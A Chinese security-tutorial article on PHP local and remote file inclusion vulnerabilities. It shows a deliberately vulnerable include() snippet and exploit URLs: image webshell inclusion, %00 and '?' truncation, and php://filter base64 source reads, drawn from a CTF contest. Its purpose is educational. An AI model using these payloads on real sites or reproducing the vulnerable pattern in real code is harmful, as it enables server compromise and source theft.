欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

文件包含漏洞之本地包含和远程包含

来源:本站整理 作者:佚名 时间:2017-08-27 TAG: 我要投稿

文件包含漏洞介绍:
  程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
漏洞成因:
  文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就 可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞,被包涵的文件在第三方服务是,就形成了远程文件包 含漏洞。
漏洞危害:
    执行恶意代码、包含恶意文件控制网站、甚至控制网站服务器等。
本地包含漏洞:
代码:
 
$file=@$_GET['name'];
 
if($file){
    include $file;
}
 
?>
   
以以上这个代码为例:
访问:http://127.0.0.1/fileupload/include.php?name=1.txt
txt文件代码为:
 
phpinfo();
 
?>
我们可以看到txt文件里的内容以php文件的方式执行了;如下图所示:

再看,如果访问:http://127.0.0.1/fileupload/include.php?name=2.jpg
2.jpg是一个图片的一句话木马;

用菜刀可以直接连接,也就是说不管后缀是什么样,最后都会以php的形式执行。
但是有时候会这样,这个在ISCC国赛中遇到了,就是在最后会自动加入.php,非常烦人。
代码2:
    Include  $_GET['page'].".php"
?>
执行结果如下图:

如果访问:http://127.0.0.1/fileupload/include2.php?page=1.txt
还是报错。

解决办法:%00截断
利用环境:php版本
访问:http://127.0.0.1/fileupload/include2.php?page=1.txt%00

远程包含:
  远程的文件名不能为php可解析的扩展名(php、php5..),而且php.ini中allow_url_fopen和allow_url_include为On才可以。
访问:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt

如果是遇到这种情况:

可以用“?”或者“%00”阶段;
http://127.0.0.1/fileupload/include2.php?page=http://127.0.0.1/1.txt?
读取源码:php://filter/read=convert.base64-encode/resource=1.txt
http://127.0.0.1/fileupload/include.php?name=php://filter/read=convert.base64-encode/resource=1.txt
读取出来的是base64编码的,进行解码就行了。

总结:这些在iscc的国赛赛中出现过,如果当时会阶段或者会读取源码,也就能获奖了,学无止境,加油吧。
 

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载